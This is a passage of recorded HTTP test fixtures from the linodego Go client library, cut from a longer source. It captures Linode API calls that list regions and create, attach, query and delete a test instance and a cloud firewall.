1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-7u8728nv5shn","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49708340, "label": "go-test-ins-7u8728nv5shn", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.4.217"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da6015ef4054692cf89857eb70184aa148287a2c", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228230, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"id":49708340,"type":"linode"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228230/devices method: POST response: body: '{"id": 485840, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "entity": {"id": 49708340, "type": "linode", "label": "go-test-ins-7u8728nv5shn", "url": "/v4/linode/instances/49708340"}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228230/devices/485840 method: GET response: body: '{"id": 485840, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "entity": {"id": 49708340, "type": "linode", "label": "go-test-ins-7u8728nv5shn", "url": "/v4/linode/instances/49708340"}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228230 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708340 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestFirewallDevices_List.yaml000066400000000000000000000600161455402072200323450ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 